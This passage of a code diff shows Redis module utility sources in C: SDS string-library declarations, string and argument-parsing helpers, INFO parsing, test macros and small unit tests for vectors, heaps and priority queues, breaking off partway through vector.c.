case SDS_TYPE_5:
{
unsigned char *fp = ((unsigned char*)s)-1;
*fp = SDS_TYPE_5 | (newlen << SDS_TYPE_BITS);
}
break;
case SDS_TYPE_8:
SDS_HDR(8,s)->len = newlen;
break;
case SDS_TYPE_16:
SDS_HDR(16,s)->len = newlen;
break;
case SDS_TYPE_32:
SDS_HDR(32,s)->len = newlen;
break;
case SDS_TYPE_64:
SDS_HDR(64,s)->len = newlen;
break;
}
}
static inline void sdsinclen(sds s, size_t inc) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
{
unsigned char *fp = ((unsigned char*)s)-1;
unsigned char newlen = SDS_TYPE_5_LEN(flags)+inc;
*fp = SDS_TYPE_5 | (newlen << SDS_TYPE_BITS);
}
break;
case SDS_TYPE_8:
SDS_HDR(8,s)->len += inc;
break;
case SDS_TYPE_16:
SDS_HDR(16,s)->len += inc;
break;
case SDS_TYPE_32:
SDS_HDR(32,s)->len += inc;
break;
case SDS_TYPE_64:
SDS_HDR(64,s)->len += inc;
break;
}
}
/* sdsalloc() = sdsavail() + sdslen() */
static inline size_t sdsalloc(const sds s) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
return SDS_TYPE_5_LEN(flags);
case SDS_TYPE_8:
return SDS_HDR(8,s)->alloc;
case SDS_TYPE_16:
return SDS_HDR(16,s)->alloc;
case SDS_TYPE_32:
return SDS_HDR(32,s)->alloc;
case SDS_TYPE_64:
return SDS_HDR(64,s)->alloc;
}
return 0;
}
static inline void sdssetalloc(sds s, size_t newlen) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
/* Nothing to do, this type has no total allocation info. */
break;
case SDS_TYPE_8:
SDS_HDR(8,s)->alloc = newlen;
break;
case SDS_TYPE_16:
SDS_HDR(16,s)->alloc = newlen;
break;
case SDS_TYPE_32:
SDS_HDR(32,s)->alloc = newlen;
break;
case SDS_TYPE_64:
SDS_HDR(64,s)->alloc = newlen;
break;
}
}
sds sdsnewlen(const void *init, size_t initlen);
sds sdsnew(const char *init);
sds sdsempty(void);
sds sdsdup(const sds s);
void sdsfree(sds s);
sds sdsgrowzero(sds s, size_t len);
sds sdscatlen(sds s, const void *t, size_t len);
sds sdscat(sds s, const char *t);
sds sdscatsds(sds s, const sds t);
sds sdscpylen(sds s, const char *t, size_t len);
sds sdscpy(sds s, const char *t);
sds sdscatvprintf(sds s, const char *fmt, va_list ap);
#ifdef __GNUC__
sds sdscatprintf(sds s, const char *fmt, ...)
__attribute__((format(printf, 2, 3)));
#else
sds sdscatprintf(sds s, const char *fmt, ...);
#endif
sds sdscatfmt(sds s, char const *fmt, ...);
sds sdstrim(sds s, const char *cset);
void sdsrange(sds s, int start, int end);
void sdsupdatelen(sds s);
void sdsclear(sds s);
int sdscmp(const sds s1, const sds s2);
sds *sdssplitlen(const char *s, int len, const char *sep, int seplen, int *count);
void sdsfreesplitres(sds *tokens, int count);
void sdstolower(sds s);
void sdstoupper(sds s);
sds sdsfromlonglong(long long value);
sds sdscatrepr(sds s, const char *p, size_t len);
sds *sdssplitargs(const char *line, int *argc);
sds sdsmapchars(sds s, const char *from, const char *to, size_t setlen);
sds sdsjoin(char **argv, int argc, char *sep);
sds sdsjoinsds(sds *argv, int argc, const char *sep, size_t seplen);
/* Low level functions exposed to the user API */
sds sdsMakeRoomFor(sds s, size_t addlen);
void sdsIncrLen(sds s, int incr);
sds sdsRemoveFreeSpace(sds s);
size_t sdsAllocSize(sds s);
void *sdsAllocPtr(sds s);
/* Export the allocator used by SDS to the program using SDS.
* Sometimes the program SDS is linked to, may use a different set of
* allocators, but may want to allocate or free things that SDS will
* respectively free or allocate. */
void *sds_malloc(size_t size);
void *sds_realloc(void *ptr, size_t size);
void sds_free(void *ptr);
#ifdef REDIS_TEST
int sdsTest(int argc, char *argv[]);
#endif
#endif
+47
View File
@@ -0,0 +1,47 @@
/* SDSLib 2.0 -- A C dynamic strings library
*
* Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
* Copyright (c) 2015, Redis Labs, Inc
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Redis nor the names of its contributors may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/* SDS allocator selection.
*
* This file is used in order to change the SDS allocator at compile time.
* Just define the following defines to what you want to use. Also add
* the include of your alternate allocator if needed (not needed in order
* to use the default libc allocator). */
#if defined(__MACH__)
#include <stdlib.h>
#else
#include <malloc.h>
#endif
//#include "zmalloc.h"
#define s_malloc malloc
#define s_realloc realloc
#define s_free free
+81
View File
@@ -0,0 +1,81 @@
#include <string.h>
#include <sys/param.h>
#include <ctype.h>
#include "strings.h"
#include "alloc.h"
#include "sds.h"
// RedisModuleString *RMUtil_CreateFormattedString(RedisModuleCtx *ctx, const char *fmt, ...) {
// sds s = sdsempty();
// va_list ap;
// va_start(ap, fmt);
// s = sdscatvprintf(s, fmt, ap);
// va_end(ap);
// RedisModuleString *ret = RedisModule_CreateString(ctx, (const char *)s, sdslen(s));
// sdsfree(s);
// return ret;
// }
int RMUtil_StringEquals(RedisModuleString *s1, RedisModuleString *s2) {
const char *c1, *c2;
size_t l1, l2;
c1 = RedisModule_StringPtrLen(s1, &l1);
c2 = RedisModule_StringPtrLen(s2, &l2);
if (l1 != l2) return 0;
return strncmp(c1, c2, l1) == 0;
}
int RMUtil_StringEqualsC(RedisModuleString *s1, const char *s2) {
const char *c1;
size_t l1, l2 = strlen(s2);
c1 = RedisModule_StringPtrLen(s1, &l1);
if (l1 != l2) return 0;
return strncmp(c1, s2, l1) == 0;
}
int RMUtil_StringEqualsCaseC(RedisModuleString *s1, const char *s2) {
const char *c1;
size_t l1, l2 = strlen(s2);
c1 = RedisModule_StringPtrLen(s1, &l1);
if (l1 != l2) return 0;
return strncasecmp(c1, s2, l1) == 0;
}
void RMUtil_StringToLower(RedisModuleString *s) {
size_t l;
char *c = (char *)RedisModule_StringPtrLen(s, &l);
size_t i;
for (i = 0; i < l; i++) {
*c = tolower(*c);
++c;
}
}
void RMUtil_StringToUpper(RedisModuleString *s) {
size_t l;
char *c = (char *)RedisModule_StringPtrLen(s, &l);
size_t i;
for (i = 0; i < l; i++) {
*c = toupper(*c);
++c;
}
}
void RMUtil_StringConvert(RedisModuleString **rs, const char **ss, size_t n, int options) {
for (size_t ii = 0; ii < n; ++ii) {
const char *p = RedisModule_StringPtrLen(rs[ii], NULL);
if (options & RMUTIL_STRINGCONVERT_COPY) {
p = strdup(p);
}
ss[ii] = p;
}
}
+38
View File
@@ -0,0 +1,38 @@
#ifndef __RMUTIL_STRINGS_H__
#define __RMUTIL_STRINGS_H__
#include <redismodule.h>
/*
* Create a new RedisModuleString object from a printf-style format and arguments.
* Note that RedisModuleString objects CANNOT be used as formatting arguments.
*/
// DEPRECATED since it was added to the RedisModule API. Replaced with a macro below
// RedisModuleString *RMUtil_CreateFormattedString(RedisModuleCtx *ctx, const char *fmt, ...);
#define RMUtil_CreateFormattedString RedisModule_CreateStringPrintf
/* Return 1 if the two strings are equal. Case *sensitive* */
int RMUtil_StringEquals(RedisModuleString *s1, RedisModuleString *s2);
/* Return 1 if the string is equal to a C NULL terminated string. Case *sensitive* */
int RMUtil_StringEqualsC(RedisModuleString *s1, const char *s2);
/* Return 1 if the string is equal to a C NULL terminated string. Case *insensitive* */
int RMUtil_StringEqualsCaseC(RedisModuleString *s1, const char *s2);
/* Converts a redis string to lowercase in place without reallocating anything */
void RMUtil_StringToLower(RedisModuleString *s);
/* Converts a redis string to uppercase in place without reallocating anything */
void RMUtil_StringToUpper(RedisModuleString *s);
// If set, copy the strings using strdup rather than simply storing pointers.
#define RMUTIL_STRINGCONVERT_COPY 1
/**
* Convert one or more RedisModuleString objects into `const char*`.
* Both rs and ss are arrays, and should be of <n> length.
* Options may be 0 or `RMUTIL_STRINGCONVERT_COPY`
*/
void RMUtil_StringConvert(RedisModuleString **rs, const char **ss, size_t n, int options);
#endif
+69
View File
@@ -0,0 +1,69 @@
#ifndef __TESTUTIL_H__
#define __TESTUTIL_H__
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
static int numTests = 0;
static int numAsserts = 0;
#define TESTFUNC(f) \
printf(" Testing %s\t\t", __STRING(f)); \
numTests++; \
fflush(stdout); \
if (f()) { \
printf(" %s FAILED!\n", __STRING(f)); \
exit(1); \
} else \
printf("[PASS]\n");
#define ASSERTM(expr, ...) \
if (!(expr)) { \
fprintf(stderr, "%s:%d: Assertion '%s' Failed: " __VA_ARGS__ "\n", __FILE__, __LINE__, \
__STRING(expr)); \
return -1; \
} \
numAsserts++;
#define ASSERT(expr) \
if (!(expr)) { \
fprintf(stderr, "%s:%d Assertion '%s' Failed\n", __FILE__, __LINE__, __STRING(expr)); \
return -1; \
} \
numAsserts++;
#define ASSERT_STRING_EQ(s1, s2) ASSERT(!strcmp(s1, s2));
#define ASSERT_EQUAL(x, y, ...) \
if (x != y) { \
fprintf(stderr, "%s:%d: ", __FILE__, __LINE__); \
fprintf(stderr, "%g != %g: " __VA_ARGS__ "\n", (double)x, (double)y); \
return -1; \
} \
numAsserts++;
#define FAIL(fmt, ...) \
{ \
fprintf(stderr, "%s:%d: FAIL: " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__); \
return -1; \
}
#define RETURN_TEST_SUCCESS return 0;
#define TEST_CASE(x, block) \
int x { \
block; \
return 0 \
}
#define PRINT_TEST_SUMMARY printf("\nTotal: %d tests and %d assertions OK\n", numTests, numAsserts);
#define TEST_MAIN(body) \
int main(int argc, char **argv) { \
printf("Starting Test '%s'...\n", argv[0]); \
body; \
PRINT_TEST_SUMMARY; \
printf("\n--------------------\n\n"); \
return 0; \
}
#endif
+38
View File
@@ -0,0 +1,38 @@
#include <stdio.h>
#include "heap.h"
#include "assert.h"
int cmp(void *a, void *b) {
int *__a = (int *) a;
int *__b = (int *) b;
return *__a - *__b;
}
int main(int argc, char **argv) {
int myints[] = {10, 20, 30, 5, 15};
Vector *v = NewVector(int, 5);
for (int i = 0; i < 5; i++) {
Vector_Push(v, myints[i]);
}
Make_Heap(v, 0, v->top, cmp);
int n;
Vector_Get(v, 0, &n);
assert(30 == n);
Heap_Pop(v, 0, v->top, cmp);
v->top = 4;
Vector_Get(v, 0, &n);
assert(20 == n);
Vector_Push(v, 99);
Heap_Push(v, 0, v->top, cmp);
Vector_Get(v, 0, &n);
assert(99 == n);
Vector_Free(v);
printf("PASS!\n");
return 0;
}
@@ -0,0 +1,26 @@
#include <stdio.h>
#include <redismodule.h>
#include <unistd.h>
#include "periodic.h"
#include "assert.h"
#include "test.h"
void timerCb(RedisModuleCtx *ctx, void *p) {
int *x = p;
(*x)++;
}
int testPeriodic() {
int x = 0;
struct RMUtilTimer *tm = RMUtil_NewPeriodicTimer(
timerCb, NULL, &x, (struct timespec){.tv_sec = 0, .tv_nsec = 10000000});
sleep(1);
ASSERT_EQUAL(0, RMUtilTimer_Terminate(tm));
ASSERT(x > 0);
ASSERT(x <= 100);
return 0;
}
TEST_MAIN({ TESTFUNC(testPeriodic); });
@@ -0,0 +1,37 @@
#include <stdio.h>
#include "assert.h"
#include "priority_queue.h"
int cmp(void* i1, void* i2) {
int *__i1 = (int*) i1;
int *__i2 = (int*) i2;
return *__i1 - *__i2;
}
int main(int argc, char **argv) {
PriorityQueue *pq = NewPriorityQueue(int, 10, cmp);
assert(0 == Priority_Queue_Size(pq));
for (int i = 0; i < 5; i++) {
Priority_Queue_Push(pq, i);
}
assert(5 == Priority_Queue_Size(pq));
Priority_Queue_Pop(pq);
assert(4 == Priority_Queue_Size(pq));
Priority_Queue_Push(pq, 10);
Priority_Queue_Push(pq, 20);
Priority_Queue_Push(pq, 15);
int n;
Priority_Queue_Top(pq, &n);
assert(20 == n);
Priority_Queue_Pop(pq);
Priority_Queue_Top(pq, &n);
assert(15 == n);
Priority_Queue_Free(pq);
printf("PASS!\n");
return 0;
}
+67
View File
@@ -0,0 +1,67 @@
#ifndef __TEST_UTIL_H__
#define __TEST_UTIL_H__
#include "util.h"
#include <stdarg.h>
#include <stdlib.h>
#include <string.h>
#define RMUtil_Test(f) \
if (argc < 2 || RMUtil_ArgExists(__STRING(f), argv, argc, 1)) { \
int rc = f(ctx); \
if (rc != REDISMODULE_OK) { \
RedisModule_ReplyWithError(ctx, "Test " __STRING(f) " FAILED"); \
return REDISMODULE_ERR;\
}\
}
#define RMUtil_Assert(expr) if (!(expr)) { fprintf (stderr, "Assertion '%s' Failed\n", __STRING(expr)); return REDISMODULE_ERR; }
#define RMUtil_AssertReplyEquals(rep, cstr) RMUtil_Assert( \
RMUtil_StringEquals(RedisModule_CreateStringFromCallReply(rep), RedisModule_CreateString(ctx, cstr, strlen(cstr))) \
)
#
/**
* Create an arg list to pass to a redis command handler manually, based on the format in fmt.
* The accepted format specifiers are:
* c - for null terminated c strings
* s - for RedisModuleString* objects
* l - for longs
*
* Example: RMUtil_MakeArgs(ctx, &argc, "clc", "hello", 1337, "world");
*
* Returns an array of RedisModuleString pointers. The size of the array is store in argcp
*/
RedisModuleString **RMUtil_MakeArgs(RedisModuleCtx *ctx, int *argcp, const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
RedisModuleString **argv = calloc(strlen(fmt), sizeof(RedisModuleString*));
int argc = 0;
const char *p = fmt;
while(*p) {
if (*p == 'c') {
char *cstr = va_arg(ap,char*);
argv[argc++] = RedisModule_CreateString(ctx, cstr, strlen(cstr));
} else if (*p == 's') {
argv[argc++] = va_arg(ap,void*);;
} else if (*p == 'l') {
long ll = va_arg(ap,long long);
argv[argc++] = RedisModule_CreateStringFromLongLong(ctx, ll);
} else {
goto fmterr;
}
p++;
}
*argcp = argc;
return argv;
fmterr:
free(argv);
return NULL;
}
#endif
+58
View File
@@ -0,0 +1,58 @@
#include "vector.h"
#include <stdio.h>
#include "test.h"
int testVector() {
Vector *v = NewVector(int, 1);
ASSERT(v != NULL);
// Vector_Put(v, 0, 1);
// Vector_Put(v, 1, 3);
for (int i = 0; i < 10; i++) {
Vector_Push(v, i);
}
ASSERT_EQUAL(10, Vector_Size(v));
ASSERT_EQUAL(16, Vector_Cap(v));
for (int i = 0; i < Vector_Size(v); i++) {
int n;
int rc = Vector_Get(v, i, &n);
ASSERT_EQUAL(1, rc);
// printf("%d %d\n", rc, n);
ASSERT_EQUAL(n, i);
}
Vector_Free(v);
v = NewVector(char *, 0);
int N = 4;
char *strings[4] = {"hello", "world", "foo", "bar"};
for (int i = 0; i < N; i++) {
Vector_Push(v, strings[i]);
}
ASSERT_EQUAL(N, Vector_Size(v));
ASSERT(Vector_Cap(v) >= N);
for (int i = 0; i < Vector_Size(v); i++) {
char *x;
int rc = Vector_Get(v, i, &x);
ASSERT_EQUAL(1, rc);
ASSERT_STRING_EQ(x, strings[i]);
}
int rc = Vector_Get(v, 100, NULL);
ASSERT_EQUAL(0, rc);
Vector_Free(v);
return 0;
// Vector_Push(v, "hello");
// Vector_Push(v, "world");
// char *x = NULL;
// int rc = Vector_Getx(v, 0, &x);
// printf("rc: %d got %s\n", rc, x);
}
TEST_MAIN({ TESTFUNC(testVector); });
+299
View File
@@ -0,0 +1,299 @@
#include <stdlib.h>
#include <errno.h>
#include <math.h>
#include <ctype.h>
#include <sys/time.h>
#include <stdarg.h>
#include <limits.h>
#include <string.h>
#define REDISMODULE_EXPERIMENTAL_API
#include <redismodule.h>
#include "util.h"
/**
Check if an argument exists in an argument list (argv,argc), starting at offset.
@return 0 if it doesn't exist, otherwise the offset it exists in
*/
int RMUtil_ArgExists(const char *arg, RedisModuleString **argv, int argc, int offset) {
size_t larg = strlen(arg);
for (; offset < argc; offset++) {
size_t l;
const char *carg = RedisModule_StringPtrLen(argv[offset], &l);
if (l != larg) continue;
if (carg != NULL && strncasecmp(carg, arg, larg) == 0) {
return offset;
}
}
return 0;
}
/**
Check if an argument exists in an argument list (argv,argc)
@return -1 if it doesn't exist, otherwise the offset it exists in
*/
int RMUtil_ArgIndex(const char *arg, RedisModuleString **argv, int argc) {
size_t larg = strlen(arg);
for (int offset = 0; offset < argc; offset++) {
size_t l;
const char *carg = RedisModule_StringPtrLen(argv[offset], &l);
if (l != larg) continue;
if (carg != NULL && strncasecmp(carg, arg, larg) == 0) {
return offset;
}
}
return -1;
}
RMUtilInfo *RMUtil_GetRedisInfo(RedisModuleCtx *ctx) {
RedisModuleCallReply *r = RedisModule_Call(ctx, "INFO", "c", "all");
if (r == NULL || RedisModule_CallReplyType(r) == REDISMODULE_REPLY_ERROR) {
return NULL;
}
int cap = 100; // rough estimate of info lines
RMUtilInfo *info = malloc(sizeof(RMUtilInfo));
info->entries = calloc(cap, sizeof(RMUtilInfoEntry));
int i = 0;
size_t sz;
char *text = (char *)RedisModule_CallReplyStringPtr(r, &sz);
char *line = text;
while (line && line < text + sz) {
char *line = strsep(&text, "\r\n");
if (line == NULL) break;
if (!(*line >= 'a' && *line <= 'z')) { // skip non entry lines
continue;
}
char *key = strsep(&line, ":");
info->entries[i].key = strdup(key);
info->entries[i].val = strdup(line);
i++;
if (i >= cap) {
cap *= 2;
info->entries = realloc(info->entries, cap * sizeof(RMUtilInfoEntry));
}
}
info->numEntries = i;
RedisModule_FreeCallReply(r);
return info;
}
void RMUtilRedisInfo_Free(RMUtilInfo *info) {
for (int i = 0; i < info->numEntries; i++) {
free(info->entries[i].key);
free(info->entries[i].val);
}
free(info->entries);
free(info);
}
int RMUtilInfo_GetInt(RMUtilInfo *info, const char *key, long long *val) {
const char *p = NULL;
if (!RMUtilInfo_GetString(info, key, &p)) {
return 0;
}
*val = strtoll(p, NULL, 10);
if ((errno == ERANGE && (*val == LONG_MAX || *val == LONG_MIN)) || (errno != 0 && *val == 0)) {
*val = -1;
return 0;
}
return 1;
}
int RMUtilInfo_GetString(RMUtilInfo *info, const char *key, const char **str) {
int i;
for (i = 0; i < info->numEntries; i++) {
if (!strcmp(key, info->entries[i].key)) {
*str = info->entries[i].val;
return 1;
}
}
return 0;
}
int RMUtilInfo_GetDouble(RMUtilInfo *info, const char *key, double *d) {
const char *p = NULL;
if (!RMUtilInfo_GetString(info, key, &p)) {
printf("not found %s\n", key);
return 0;
}
*d = strtod(p, NULL);
if ((errno == ERANGE && (*d == HUGE_VAL || *d == -HUGE_VAL)) || (errno != 0 && *d == 0)) {
return 0;
}
return 1;
}
/*
c -- pointer to a Null terminated C string pointer.
b -- pointer to a C buffer, followed by pointer to a size_t for its length
s -- pointer to a RedisModuleString
l -- pointer to Long long integer.
d -- pointer to a Double
* -- do not parse this argument at all
*/
int RMUtil_ParseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
int rc = rmutil_vparseArgs(argv, argc, offset, fmt, ap);
va_end(ap);
return rc;
}
// Internal function that parses arguments based on the format described above
int rmutil_vparseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, va_list ap) {
int i = offset;
char *c = (char *)fmt;
while (*c && i < argc) {
// read c string
if (*c == 'c') {
char **p = va_arg(ap, char **);
*p = (char *)RedisModule_StringPtrLen(argv[i], NULL);
} else if (*c == 'b') {
char **p = va_arg(ap, char **);
size_t *len = va_arg(ap, size_t *);
*p = (char *)RedisModule_StringPtrLen(argv[i], len);
} else if (*c == 's') { // read redis string
RedisModuleString **s = va_arg(ap, void *);
*s = argv[i];
} else if (*c == 'l') { // read long
long long *l = va_arg(ap, long long *);
if (RedisModule_StringToLongLong(argv[i], l) != REDISMODULE_OK) {
return REDISMODULE_ERR;
}
} else if (*c == 'd') { // read double
double *d = va_arg(ap, double *);
if (RedisModule_StringToDouble(argv[i], d) != REDISMODULE_OK) {
return REDISMODULE_ERR;
}
} else if (*c == '*') { // skip current arg
// do nothing
} else {
return REDISMODULE_ERR; // WAT?
}
c++;
i++;
}
// if the format is longer than argc, retun an error
if (*c != 0) {
return REDISMODULE_ERR;
}
return REDISMODULE_OK;
}
int RMUtil_ParseArgsAfter(const char *token, RedisModuleString **argv, int argc, const char *fmt,
...) {
int pos = RMUtil_ArgIndex(token, argv, argc);
if (pos < 0) {
return REDISMODULE_ERR;
}
va_list ap;
va_start(ap, fmt);
int rc = rmutil_vparseArgs(argv, argc, pos + 1, fmt, ap);
va_end(ap);
return rc;
}
RedisModuleCallReply *RedisModule_CallReplyArrayElementByPath(RedisModuleCallReply *rep,
const char *path) {
if (rep == NULL) return NULL;
RedisModuleCallReply *ele = rep;
const char *s = path;
char *e;
long idx;
do {
errno = 0;
idx = strtol(s, &e, 10);
if ((errno == ERANGE && (idx == LONG_MAX || idx == LONG_MIN)) || (errno != 0 && idx == 0) ||
(REDISMODULE_REPLY_ARRAY != RedisModule_CallReplyType(ele)) || (s == e)) {
ele = NULL;
break;
}
s = e;
ele = RedisModule_CallReplyArrayElement(ele, idx - 1);
} while ((ele != NULL) && (*e != '\0'));
return ele;
}
int RedisModule_TryGetValue(RedisModuleKey *key, const RedisModuleType *type, void **out) {
if (key == NULL) {
return RMUTIL_VALUE_MISSING;
}
int keytype = RedisModule_KeyType(key);
if (keytype == REDISMODULE_KEYTYPE_EMPTY) {
return RMUTIL_VALUE_EMPTY;
} else if (keytype == REDISMODULE_KEYTYPE_MODULE && RedisModule_ModuleTypeGetType(key) == type) {
*out = RedisModule_ModuleTypeGetValue(key);
return RMUTIL_VALUE_OK;
} else {
return RMUTIL_VALUE_MISMATCH;
}
}
RedisModuleString **RMUtil_ParseVarArgs(RedisModuleString **argv, int argc, int offset,
const char *keyword, size_t *nargs) {
if (offset > argc) {
return NULL;
}
argv += offset;
argc -= offset;
int ix = RMUtil_ArgIndex(keyword, argv, argc);
if (ix < 0) {
return NULL;
} else if (ix >= argc - 1) {
*nargs = RMUTIL_VARARGS_BADARG;
return argv;
}
argv += (ix + 1);
argc -= (ix + 1);
long long n = 0;
RMUtil_ParseArgs(argv, argc, 0, "l", &n);
if (n > argc - 1 || n < 0) {
*nargs = RMUTIL_VARARGS_BADARG;
return argv;
}
*nargs = n;
return argv + 1;
}
void RMUtil_DefaultAofRewrite(RedisModuleIO *aof, RedisModuleString *key, void *value) {
RedisModuleCtx *ctx = RedisModule_GetThreadSafeContext(NULL);
RedisModuleCallReply *rep = RedisModule_Call(ctx, "DUMP", "s", key);
if (rep != NULL && RedisModule_CallReplyType(rep) == REDISMODULE_REPLY_STRING) {
size_t n;
const char *s = RedisModule_CallReplyStringPtr(rep, &n);
RedisModule_EmitAOF(aof, "RESTORE", "slb", key, 0, s, n);
} else {
RedisModule_Log(RedisModule_GetContextFromIO(aof), "warning", "Failed to emit AOF");
}
if (rep != NULL) {
RedisModule_FreeCallReply(rep);
}
RedisModule_FreeThreadSafeContext(ctx);
}
+149
View File
@@ -0,0 +1,149 @@
#ifndef __UTIL_H__
#define __UTIL_H__
#include <redismodule.h>
#include <stdarg.h>
/// make sure the response is not NULL or an error, and if it is sends the error to the client and
/// exit the current function
#define RMUTIL_ASSERT_NOERROR(ctx, r) \
if (r == NULL) { \
return RedisModule_ReplyWithError(ctx, "ERR reply is NULL"); \
} else if (RedisModule_CallReplyType(r) == REDISMODULE_REPLY_ERROR) { \
RedisModule_ReplyWithCallReply(ctx, r); \
return REDISMODULE_ERR; \
}
#define __rmutil_register_cmd(ctx, cmd, f, mode) \
if (RedisModule_CreateCommand(ctx, cmd, f, mode, 1, 1, 1) == REDISMODULE_ERR) \
return REDISMODULE_ERR;
#define RMUtil_RegisterReadCmd(ctx, cmd, f) __rmutil_register_cmd(ctx, cmd, f, "readonly")
#define RMUtil_RegisterWriteCmd(ctx, cmd, f) __rmutil_register_cmd(ctx, cmd, f, "write")
/* RedisModule utilities. */
/** DEPRECATED: Return the offset of an arg if it exists in the arg list, or 0 if it's not there */
int RMUtil_ArgExists(const char *arg, RedisModuleString **argv, int argc, int offset);
/* Same as argExists but returns -1 if not found. Use this, RMUtil_ArgExists is kept for backwards
compatibility. */
int RMUtil_ArgIndex(const char *arg, RedisModuleString **argv, int argc);
/**
Automatically conver the arg list to corresponding variable pointers according to a given format.
You pass it the command arg list and count, the starting offset, a parsing format, and pointers to
the variables.
The format is a string consisting of the following identifiers:
c -- pointer to a Null terminated C string pointer.
s -- pointer to a RedisModuleString
l -- pointer to Long long integer.
d -- pointer to a Double
* -- do not parse this argument at all
Example: If I want to parse args[1], args[2] as a long long and double, I do:
double d;
long long l;
RMUtil_ParseArgs(argv, argc, 1, "ld", &l, &d);
*/
int RMUtil_ParseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, ...);
/**
Same as RMUtil_ParseArgs, but only parses the arguments after `token`, if it was found.
This is useful for optional stuff like [LIMIT [offset] [limit]]
*/
int RMUtil_ParseArgsAfter(const char *token, RedisModuleString **argv, int argc, const char *fmt,
...);
int rmutil_vparseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, va_list ap);
#define RMUTIL_VARARGS_BADARG ((size_t)-1)
/**
* Parse arguments in the form of KEYWORD {len} {arg} .. {arg}_len.
* If keyword is present, returns the position within `argv` containing the arguments.
* Returns NULL if the keyword is not found.
* If a parse error has occurred, `nargs` is set to RMUTIL_VARARGS_BADARG, but
* the return value is not NULL.
*/
RedisModuleString **RMUtil_ParseVarArgs(RedisModuleString **argv, int argc, int offset,
const char *keyword, size_t *nargs);
/**
* Default implementation of an AoF rewrite function that simply calls DUMP/RESTORE
* internally. To use this function, pass it as the .aof_rewrite value in
* RedisModuleTypeMethods
*/
void RMUtil_DefaultAofRewrite(RedisModuleIO *aof, RedisModuleString *key, void *value);
// A single key/value entry in a redis info map
typedef struct {
char *key;
char *val;
} RMUtilInfoEntry;
// Representation of INFO command response, as a list of k/v pairs
typedef struct {
RMUtilInfoEntry *entries;
int numEntries;
} RMUtilInfo;
/**
* Get redis INFO result and parse it as RMUtilInfo.
* Returns NULL if something goes wrong.
* The resulting object needs to be freed with RMUtilRedisInfo_Free
*/
RMUtilInfo *RMUtil_GetRedisInfo(RedisModuleCtx *ctx);
/**
* Free an RMUtilInfo object and its entries
*/
void RMUtilRedisInfo_Free(RMUtilInfo *info);
/**
* Get an integer value from an info object. Returns 1 if the value was found and
* is an integer, 0 otherwise. the value is placed in 'val'
*/
int RMUtilInfo_GetInt(RMUtilInfo *info, const char *key, long long *val);
/**
* Get a string value from an info object. The value is placed in str.
* Returns 1 if the key was found, 0 if not
*/
int RMUtilInfo_GetString(RMUtilInfo *info, const char *key, const char **str);
/**
* Get a double value from an info object. Returns 1 if the value was found and is
* a correctly formatted double, 0 otherwise. the value is placed in 'd'
*/
int RMUtilInfo_GetDouble(RMUtilInfo *info, const char *key, double *d);
/*
* Returns a call reply array's element given by a space-delimited path. E.g.,
* the path "1 2 3" will return the 3rd element from the 2 element of the 1st
* element from an array (or NULL if not found)
*/
RedisModuleCallReply *RedisModule_CallReplyArrayElementByPath(RedisModuleCallReply *rep,
const char *path);
/**
* Extract the module type from an opened key.
*/
typedef enum {
RMUTIL_VALUE_OK = 0,
RMUTIL_VALUE_MISSING,
RMUTIL_VALUE_EMPTY,
RMUTIL_VALUE_MISMATCH
} RMUtil_TryGetValueStatus;
/**
* Tries to extract the module-specific type from the value.
* @param key an opened key (may be null)
* @param type the pointer to the type to match to
* @param[out] out if the value is present, will be set to it.
* @return a value in the @ref RMUtil_TryGetValueStatus enum.
*/
int RedisModule_TryGetValue(RedisModuleKey *key, const RedisModuleType *type, void **out);
#endif
+88
View File
@@ -0,0 +1,88 @@
#include "vector.h"
#include <stdio.h>
inline int __vector_PushPtr(Vector *v, void *elem) {
if (v->top == v->cap) {
Vector_Resize(v, v->cap ? v->cap * 2 : 1);
}
__vector_PutPtr(v, v->top, elem);
return v->top;
}
inline int Vector_Get(Vector *v, size_t pos, void *ptr) {
// return 0 if pos is out of bounds
if (pos >= v->top) {
return 0;
}
memcpy(ptr, v->data + (pos * v->elemSize), v->elemSize);
return 1;
}
/* Get the element at the end of the vector, decreasing the size by one */
inline int Vector_Pop(Vector *v, void *ptr) {
if (v->top > 0) {
if (ptr != NULL) {
Vector_Get(v, v->top - 1, ptr);
}
v->top--;
return 1;
}
return 0;
}
inline int __vector_PutPtr(Vector *v, size_t pos, void *elem) {
// resize if pos is out of bounds
if (pos >= v->cap) {
Vector_Resize(v, pos + 1);
}
if (elem) {
memcpy(v->data + pos * v->elemSize, elem, v->elemSize);
